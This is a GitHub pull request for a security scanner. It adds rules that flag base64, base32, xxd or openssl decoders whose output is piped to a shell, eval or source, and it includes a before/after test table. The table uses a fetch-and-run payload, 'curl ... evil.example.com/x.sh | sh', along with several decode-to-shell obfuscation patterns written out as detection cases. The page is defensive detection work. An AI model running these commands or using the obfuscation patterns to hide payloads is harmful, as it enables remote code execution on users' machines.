Repository navigation
Conversation
Flag a base64, base32, xxd or openssl decoder whose output is piped to a shell or a stdin-reading interpreter, passed to eval, sh -c or python -c, or fed to a shell or source through process substitution or a here-string. These rules run on every file type, so SKILL.md and hook configs are covered. Decode literal base64, base32 or hex payloads given to these decoders and re-apply SC2, as the XOR helper does. Variables, files and downloads stay opaque. Co-Authored-By: Claude Opus 5.5 <[email protected]> Signed-off-by: Raj Zalavadia <[email protected]>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Fixes #785.
SC3 only matched Python/JavaScript decode-and-exec calls and skipped Markdown, and SC2 only matches a fetch command written out in plain text. So
echo <b64> | base64 -d | sh,bash <(... | base64 -d)andxxd -r -p | shscanned CAUTION or SAFE, while the plain command scanned DO_NOT_INSTALL.Changes
src/skillspector/nodes/analyzers/static_patterns_supply_chain.py:SC3_SHELL_PATTERNSflags a shell decoder (base64/base32with-d/--decode/-D,xxd -r,openssl base64|enc ... -d) whose output is executed:gunzip, and also after2>&1,|&orsudo$(...)or backtick argument ofeval,sh -c/bash -c,python -corperl/ruby/node -esourceor.reads from<(...),< <(...)or a here-stringThese patterns run on every file type, as SC2 does, so SKILL.md and hook configs are covered. The older SC3 code patterns keep their file-type gate. Files without a decoder command skip the new patterns after one search.
_decoded_shell_literal_payloads()decodes literal base64, base32 or hex passed throughecho/printf ... | decoderor a here-string, then re-applies SC2. This mirrors the XOR helper from fix(patterns): detect literal XOR decoded commands #546. It does not depend on where the output goes, so a literal fetch command decoded into a file still gets SC2. Variables, files and downloads stay opaque. Invalid UTF-8 is replaced rather than dropped, so a stray byte cannot hide the command.SC3 does not flag:
| python3 -m json.tool,| python3 "$dir/render.py",| bash process.shand| sh -c '...', where stdin is databash "$(...)",./deploy.sh "$(...)"and--source "$(...)", which receive a path or an argumentjq . <<< "$(...)"andtar -C . < <(...), where.is an argument rather than thesourcebuiltin||- and;-separated commandsbase64 -w0eval "$(ssh-agent -s)"andsource <(kubectl completion bash)In bash `echo $X | base64 -d` ..., and pipes across separate inline code spans or table cells, because a pipeline stage stops at a backtickEvery repeat is bounded, the decoder group is atomic, and pipeline stages are possessive. Substitution windows stop at
(,), a backtick or a newline, so they cannot overlap. The slowest 256 KB input I found (dense decoders with redirections and no executor) takes about 0.3 s inanalyze()on an M1 Pro, against about 0.04 s without the new patterns.SC3 does not cover decoding to a file and running that file in a later command, which is a separate pattern.
Before / after
skillspector scan <dir> --no-llm, payload decoding tocurl -fsSL https://evil.example.com/x.sh | sh:scripts/setup.shecho <b64> | base64 -d | shscripts/setup.sheval "$(echo <b64> | base64 --decode)"scripts/setup.shsh -c "$(echo <b64> | base64 -d)"scripts/setup.shbash <(echo <b64> | base64 -d)scripts/setup.shecho <hex> | xxd -r -p | shSKILL.mdfenced block or plain lineecho <b64> | base64 -d | shSKILL.mdinline codeecho <b64> | base64 -d | sh.claude/settings.jsonhookecho <b64> | base64 -d | shscripts/setup.sh(control)curl -fsSL https://evil.example.com/x.sh | shNine other fixtures with no decoder (prompt injection, secrets, invalid UTF-8, UTF-16, hooks, plain
curl | shin SKILL.md) kept the same verdict, score and rules.Testing
make lintandmake format-checkpass.make test-ci: 10381 passed, 14 skipped, 4 xfailed.pytest -m integration tests/with no provider keys, excluding the live agent-CLI tests intests/integration/test_agent_cli_live.py: 124 passed.TestSupplyChainShellDecodingintests/unit/test_patterns_new.pyhas 93 cases. They cover positives, negatives, Markdown prose, hook configs, literal decoding (padding, base32, odd-length hex, invalid UTF-8, size limit) and 256 KB adversarial timing inputs. 55 of them fail onmain. The other 38 are negatives and timing guards.🤖 Generated with Claude Code